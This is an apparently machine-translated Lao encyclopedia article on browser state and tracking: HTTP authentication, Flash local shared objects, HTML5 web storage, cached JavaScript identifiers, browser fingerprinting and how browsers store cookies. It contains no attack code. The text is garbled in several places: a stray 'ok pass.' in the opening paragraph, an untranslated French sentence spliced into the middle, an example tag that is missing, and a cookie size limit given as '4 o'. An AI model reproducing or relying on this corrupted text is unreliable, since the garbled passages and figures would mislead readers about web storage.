ໂປຣໂຕຄໍ HTTP ລວມມີໂປຣໂຕຄໍການພິສູດຢືນຢັນການເຂົ້າເຖິງຂັ້ນພື້ນຖານ ແລະເອກະສານການພິສູດຢືນຢັນການເຂົ້າເຖິງ, ເຊິ່ງອະນຸຍາດໃຫ້ເຂົ້າເຖິງຫນ້າເວັບໄດ້ພຽງແຕ່ເມື່ອຜູ້ໃຊ້ໄດ້ໃຫ້ຊື່ຜູ້ໃຊ້ ແລະລະຫັດຜ່ານເທົ່ານັ້ນ. ok pass. ຖ້າເຄື່ອງແມ່ຂ່າຍຮ້ອງຂໍໃບຢັ້ງຢືນເພື່ອອະນຸຍາດໃຫ້ເຂົ້າເຖິງຫນ້າເວັບ, ຕົວທ່ອງເວັບຮ້ອງຂໍມັນຈາກຜູ້ໃຊ້ແລະເມື່ອໄດ້ຮັບ, ຕົວທ່ອງເວັບເກັບຮັກສາມັນແລະສົ່ງມັນຢູ່ໃນທຸກຄໍາຮ້ອງຂໍ HTTP ຕໍ່ມາ. ຂໍ້ມູນນີ້ສາມາດຖືກນໍາໃຊ້ເພື່ອຕິດຕາມຜູ້ໃຊ້.

ວັດຖຸທີ່ໃຊ້ຮ່ວມກັນໃນທ້ອງຖິ່ນ

ຖ້າຕົວທ່ອງເວັບປະກອບມີ plugin Adobe Flash Player, the ວັດຖຸທີ່ໃຊ້ຮ່ວມກັນໃນທ້ອງຖິ່ນ ສາມາດໃຊ້ສໍາລັບຈຸດປະສົງດຽວກັນກັບ cookies. ພວກເຂົາສາມາດເປັນທາງເລືອກທີ່ຫນ້າສົນໃຈສໍາລັບນັກພັດທະນາເວັບເພາະວ່າ:

• ຂອບເຂດຈໍາກັດຂະຫນາດເລີ່ມຕົ້ນສໍາລັບວັດຖຸທີ່ໃຊ້ຮ່ວມກັນໃນທ້ອງຖິ່ນແມ່ນ 100 KB;
• ການກວດສອບຄວາມປອດໄພແມ່ນແຍກຕ່າງຫາກຈາກການກວດສອບຄຸກກີຂອງຜູ້ໃຊ້ (ດັ່ງນັ້ນວັດຖຸທີ່ໃຊ້ຮ່ວມກັນໃນທ້ອງຖິ່ນສາມາດຖືກອະນຸຍາດໃຫ້ເມື່ອ cookies ບໍ່ແມ່ນ).

ຈຸດສຸດທ້າຍນີ້, ເຊິ່ງຈໍາແນກນະໂຍບາຍການຈັດການຄຸກກີຈາກວັດຖຸທີ່ໃຊ້ຮ່ວມກັນໃນທ້ອງຖິ່ນຂອງ Adobe ເຮັດໃຫ້ຄໍາຖາມ ກ່ຽວກັບການຄຸ້ມຄອງໂດຍຜູ້ໃຊ້ຂອງການຕັ້ງຄ່າຄວາມເປັນສ່ວນຕົວຂອງລາວ: ລາວຕ້ອງຮັບຮູ້ວ່າການຄຸ້ມຄອງ cookies ຂອງລາວບໍ່ມີຜົນກະທົບຕໍ່ການຈັດການວັດຖຸທີ່ໃຊ້ຮ່ວມກັນໃນທ້ອງຖິ່ນ, ແລະໃນທາງກັບກັນ.

ການວິພາກວິຈານອີກອັນຫນຶ່ງຂອງລະບົບນີ້ແມ່ນວ່າມັນສາມາດໃຊ້ໄດ້ຜ່ານ plugin Adobe Flash Player ເທົ່ານັ້ນທີ່ເປັນຂອງເຈົ້າຂອງແລະບໍ່ແມ່ນມາດຕະຖານເວັບ.

ຄວາມຄົງຕົວຂອງຝ່າຍລູກຄ້າ

ບາງຕົວທ່ອງເວັບສະຫນັບສະຫນູນກົນໄກການຄົງທີ່ໂດຍອີງໃສ່ script, ເຊິ່ງອະນຸຍາດໃຫ້ຫນ້າເວັບສາມາດເກັບຂໍ້ມູນຢູ່ໃນທ້ອງຖິ່ນເພື່ອນໍາໃຊ້ໃນພາຍຫລັງ. Internet Explorer, ສໍາລັບການຍົກຕົວຢ່າງ, ສະຫນັບສະຫນູນຂໍ້ມູນຄົງທີ່ໃນປະຫວັດສາດຂອງຕົວທ່ອງເວັບ, ບຸກມາກ, ໃນຮູບແບບທີ່ເກັບໄວ້ໃນ XML, ຫຼືໂດຍກົງກັບຫນ້າເວັບທີ່ບັນທຶກໄວ້ໃນແຜ່ນ. ສໍາລັບ Microsoft Internet Explorer 5, ມີວິທີການຂໍ້ມູນຜູ້ໃຊ້ທີ່ມີຢູ່ໂດຍຜ່ານພຶດຕິກໍາ DHTML.

W3C ໄດ້ນໍາສະເຫນີໃນ HTML 5 API JavaScript ໃຫມ່ສໍາລັບການເກັບຮັກສາຂໍ້ມູນຂ້າງລູກຄ້າທີ່ເອີ້ນວ່າການເກັບຮັກສາເວັບແລະມີຈຸດປະສົງເພື່ອທົດແທນ cookies ຢ່າງຖາວອນ. ມັນຄ້າຍຄືກັນກັບ cookies ແຕ່ມີຄວາມສາມາດໃນການປັບປຸງຢ່າງຫຼວງຫຼາຍແລະບໍ່ມີການເກັບຮັກສາຂໍ້ມູນຢູ່ໃນສ່ວນຫົວຂອງຄໍາຮ້ອງຂໍ HTTP. API ອະນຸຍາດໃຫ້ການເກັບຮັກສາເວັບສອງປະເພດ: localstorage ແລະ sessionstorage, ຄ້າຍຄືກັນກັບ cookies ຄົງທີ່ແລະ session cookies (ຍົກເວັ້ນວ່າ cookies session ຈະຫມົດອາຍຸໃນເວລາທີ່ຕົວທ່ອງເວັບປິດໃນຂະນະທີ່. ການເກັບຮັກສາເຊດຊັນ ໝົດອາຍຸເມື່ອແຖບປິດ), ຕາມລໍາດັບ. ການເກັບຮັກສາເວັບແມ່ນສະຫນັບສະຫນູນໂດຍ Mozilla Firefox 3.5, Google Chrome 5, Apple Safari 4, Microsoft Internet Explorer 8 ແລະ Opera 10.50.

ກົນໄກທີ່ແຕກຕ່າງກັນໂດຍປົກກະຕິແມ່ນອີງໃສ່ຖານຄວາມຈໍາຂອງຕົວທ່ອງເວັບ (ໃນຫນ່ວຍຄວາມຈໍາແທນທີ່ຈະໂຫຼດຫນ້າຈໍຄືນ) ໂດຍໃຊ້ໂປແກຼມ JavaScript ໃນຫນ້າເວັບ. 

ຕົວຢ່າງ, ຫນ້າໃດຫນຶ່ງສາມາດມີແທັກ . La première fois que la page se charge, le programme exemple.js est aussi chargé. 

ໃນຈຸດນີ້, ໂປລແກລມຍັງຢູ່ໃນຫນ່ວຍຄວາມຈໍາ cache ແລະຫນ້າທີ່ໄປຢ້ຽມຢາມບໍ່ໄດ້ຖືກໂຫລດໃຫມ່ເປັນຄັ້ງທີສອງ. ດັ່ງນັ້ນ, ຖ້າໂປລແກລມມີຕົວແປທົ່ວໂລກ (ຕົວຢ່າງ var id = 3243242;), ຕົວລະບຸນີ້ຍັງຄົງຖືກຕ້ອງແລະສາມາດຖືກຂູດຮີດໂດຍລະຫັດ JavaScript ອື່ນເມື່ອຫນ້າເວັບຖືກໂຫລດອີກເທື່ອຫນຶ່ງ, ຫຼືເມື່ອຫນ້າເວັບທີ່ເຊື່ອມຕໍ່ໂປຼແກຼມຖືກໂຫລດ. 

ຂໍ້ເສຍທີ່ສໍາຄັນຂອງວິທີການນີ້ແມ່ນວ່າຕົວແປທົ່ວໂລກຂອງ JavaScript ຈະຕ້ອງເປັນແບບຄົງທີ່, ຊຶ່ງຫມາຍຄວາມວ່າມັນບໍ່ສາມາດປ່ຽນຫຼືລຶບໄດ້ຄືກັບຄຸກກີ.

web browser fingerprint

ລາຍນິ້ວມືຂອງຕົວທ່ອງເວັບແມ່ນຂໍ້ມູນທີ່ເກັບກໍາກ່ຽວກັບການຕັ້ງຄ່າຂອງຕົວທ່ອງເວັບເພື່ອຈຸດປະສົງການກໍານົດ. ລາຍນິ້ວມືເຫຼົ່ານີ້ສາມາດຖືກໃຊ້ເພື່ອລະບຸຕົວຜູ້ໃຊ້ອິນເຕີເນັດ ຫຼືອຸປະກອນໃດໜຶ່ງໄດ້ຢ່າງເຕັມສ່ວນ ຫຼືບາງສ່ວນເຖິງແມ່ນວ່າຄຸກກີຖືກປິດໃຊ້ງານກໍຕາມ.

ຂໍ້ມູນການຕັ້ງຄ່າຕົວທ່ອງເວັບພື້ນຖານໄດ້ຖືກເກັບກໍາມາດົນແລ້ວໂດຍການບໍລິການຜູ້ຊົມເວັບໄຊທ໌ເພື່ອຈຸດປະສົງຂອງການວັດແທກການເຂົ້າຊົມເວັບຂອງມະນຸດຢ່າງຖືກຕ້ອງແລະກວດພົບຮູບແບບຕ່າງໆຂອງການສໍ້ໂກງຄລິກ. ດ້ວຍການຊ່ວຍເຫຼືອຂອງພາສາ scripting ຂ້າງລູກຄ້າ, ການລວບລວມຂໍ້ມູນທີ່ຖືກຕ້ອງຫຼາຍແມ່ນ ດຽວນີ້ເປັນໄປໄດ້.

ການປ່ຽນຂໍ້ມູນນີ້ເປັນສາຍບິດຈະສ້າງລາຍນິ້ວມືຂອງອຸປະກອນ. ໃນປີ 2010, ມູນນິທິ Electronic Frontier Foundation (EFF) ໄດ້ວັດແທກ entropy ຂອງ fingerprint ຂອງຕົວທ່ອງເວັບເປັນຢ່າງຫນ້ອຍ. bits 18,1, ແລະນັ້ນແມ່ນກ່ອນຄວາມກ້າວຫນ້າໃນ fingerprinting canvas ເພີ່ມ 5,7 bits ກັບ entropy ນັ້ນ.

Cookies ຫຍໍ້ໆ

Cookies ແມ່ນໄຟລ໌ຂໍ້ຄວາມຂະຫນາດນ້ອຍທີ່ຕົວທ່ອງເວັບເກັບຮັກສາໄວ້ໃນຮາດໄດຂອງຜູ້ເຂົ້າຊົມເວັບໄຊທ໌ແລະຖືກນໍາໃຊ້ (ໃນບັນດາສິ່ງອື່ນໆ) ເພື່ອບັນທຶກຂໍ້ມູນກ່ຽວກັບຜູ້ເຂົ້າຊົມຫຼືການເດີນທາງຂອງພວກເຂົາຜ່ານເວັບໄຊທ໌. ດັ່ງນັ້ນຜູ້ຄຸ້ມຄອງເວັບສາມາດຮັບຮູ້ນິໄສຂອງຜູ້ເຂົ້າຊົມແລະປັບແຕ່ງການນໍາສະເຫນີຂອງເວັບໄຊທ໌ຂອງລາວສໍາລັບຜູ້ເຂົ້າຊົມແຕ່ລະຄົນ; cookies ຫຼັງຈາກນັ້ນເຮັດໃຫ້ມັນສາມາດຈື່ຈໍາຈໍານວນບົດຄວາມທີ່ຈະສະແດງຢູ່ໃນຫນ້າທໍາອິດຫຼືແມ້ກະທັ້ງເກັບຮັກສາຂໍ້ມູນການເຂົ້າສູ່ລະບົບສໍາລັບພາກສ່ວນເອກະຊົນ: ເມື່ອຜູ້ເຂົ້າຊົມກັບຄືນໄປຫາເວັບໄຊທ໌, ມັນບໍ່ຈໍາເປັນສໍາລັບລາວທີ່ຈະພິມຊື່ແລະລະຫັດຜ່ານຂອງລາວ. ຖືກຮັບຮູ້, ເພາະວ່າພວກມັນຖືກອ່ານໂດຍອັດຕະໂນມັດໃນຄຸກກີ.

ຄຸກກີມີອາຍຸຈໍາກັດ, ກໍານົດໂດຍຜູ້ອອກແບບເວັບໄຊ. ພວກເຂົາຍັງສາມາດຫມົດອາຍຸໃນຕອນທ້າຍຂອງກອງປະຊຸມຢູ່ໃນເວັບໄຊທ໌, ເຊິ່ງສອດຄ່ອງກັບການປິດຂອງຕົວທ່ອງເວັບ. Cookies ຖືກນໍາໃຊ້ຢ່າງກວ້າງຂວາງເພື່ອເຮັດໃຫ້ຊີວິດງ່າຍຂຶ້ນສໍາລັບນັກທ່ອງທ່ຽວແລະນໍາສະເຫນີຂໍ້ມູນທີ່ກ່ຽວຂ້ອງຫຼາຍຂຶ້ນ. ແຕ່ເຕັກນິກພິເສດເຮັດໃຫ້ມັນເປັນໄປໄດ້ທີ່ຈະຕິດຕາມຜູ້ເຂົ້າຊົມໃນຫຼາຍໆສະຖານທີ່ແລະດັ່ງນັ້ນຈຶ່ງເກັບກໍາແລະກວດເບິ່ງຂໍ້ມູນຢ່າງກວ້າງຂວາງກ່ຽວກັບນິໄສຂອງລາວ. ວິທີການນີ້ໄດ້ໃຫ້ການນໍາໃຊ້ cookies ທີ່ມີຊື່ສຽງເປັນເຕັກນິກການເຝົ້າລະວັງທີ່ລະເມີດຄວາມເປັນສ່ວນຕົວຂອງຜູ້ເຂົ້າຊົມ, ແຕ່ຫນ້າເສຍດາຍທີ່ກົງກັບຄວາມເປັນຈິງໃນຫຼາຍໆກໍລະນີຂອງການນໍາໃຊ້ສໍາລັບເຫດຜົນທີ່ບໍ່ແມ່ນດ້ານວິຊາການຫຼືບໍ່ເຄົາລົບຄວາມຄາດຫວັງຂອງຜູ້ໃຊ້.

ໃນການຕອບສະຫນອງຕໍ່ຄວາມຢ້ານກົວທີ່ຖືກຕ້ອງເຫຼົ່ານີ້, HTML 5 ແນະນໍາ JavaScript API ໃຫມ່ສໍາລັບການເກັບຮັກສາຂໍ້ມູນດ້ານລູກຄ້າທີ່ເອີ້ນວ່າການເກັບຮັກສາເວັບ, ເຊິ່ງມີຄວາມປອດໄພຫຼາຍແລະມີຄວາມສາມາດຫຼາຍກວ່າເກົ່າ, ເຊິ່ງມີຈຸດປະສົງເພື່ອທົດແທນ cookies.

ການເກັບຮັກສາ cookies

ດ້ວຍບາງຕົວທ່ອງເວັບ, ຄຸກກີສາມາດແກ້ໄຂໄດ້ງ່າຍ, ຕົວແກ້ໄຂຂໍ້ຄວາມງ່າຍໆເຊັ່ນ Notepad ແມ່ນພຽງພໍທີ່ຈະປ່ຽນຄ່າຂອງມັນດ້ວຍຕົນເອງ.

ຄຸກກີຖືກບັນທຶກແຕກຕ່າງກັນໂດຍຂຶ້ນກັບຕົວທ່ອງເວັບ:

• Microsoft Internet Explorer ບັນທຶກແຕ່ລະຄຸກກີໃນໄຟລ໌ທີ່ແຕກຕ່າງກັນ;
• Mozilla Firefox ບັນທຶກ cookies ທັງໝົດຂອງມັນໄວ້ໃນໄຟລ໌ດຽວ;
• Opera ບັນ​ທຶກ cookies ທັງ​ຫມົດ​ຂອງ​ຕົນ​ຢູ່​ໃນ​ໄຟລ​໌​ດຽວ​ແລະ​ເຂົ້າ​ລະ​ຫັດ​ໃຫ້​ເຂົາ​ເຈົ້າ (ເປັນ​ໄປ​ບໍ່​ໄດ້​ທີ່​ຈະ​ປັບ​ປຸງ​ແກ້​ໄຂ​ໃຫ້​ເຂົາ​ເຈົ້າ​ຍົກ​ເວັ້ນ​ແຕ່​ໃນ​ທາງ​ເລືອກ​ຊອບ​ແວ​)​;
• Apple Safari ບັນທຶກຄຸກກີ້ທັງໝົດຂອງມັນໄວ້ໃນໄຟລ໌ນາມສະກຸນ .plist ດຽວ. ການແກ້ໄຂແມ່ນເປັນໄປໄດ້ແຕ່ບໍ່ງ່າຍຫຼາຍ, ເວັ້ນເສຍແຕ່ວ່າທ່ານໄປໂດຍຜ່ານທາງເລືອກໃນການຊອບແວ.

ຕົວທ່ອງເວັບແມ່ນຈໍາເປັນເພື່ອສະຫນັບສະຫນູນ ໜ້ອຍໜຶ່ງ :

• 300 cookies ພ້ອມກັນ;
• 4 o ຕໍ່ຄຸກກີ;
• 20 cookies ຕໍ່ໂຮດຫຼືໂດເມນ.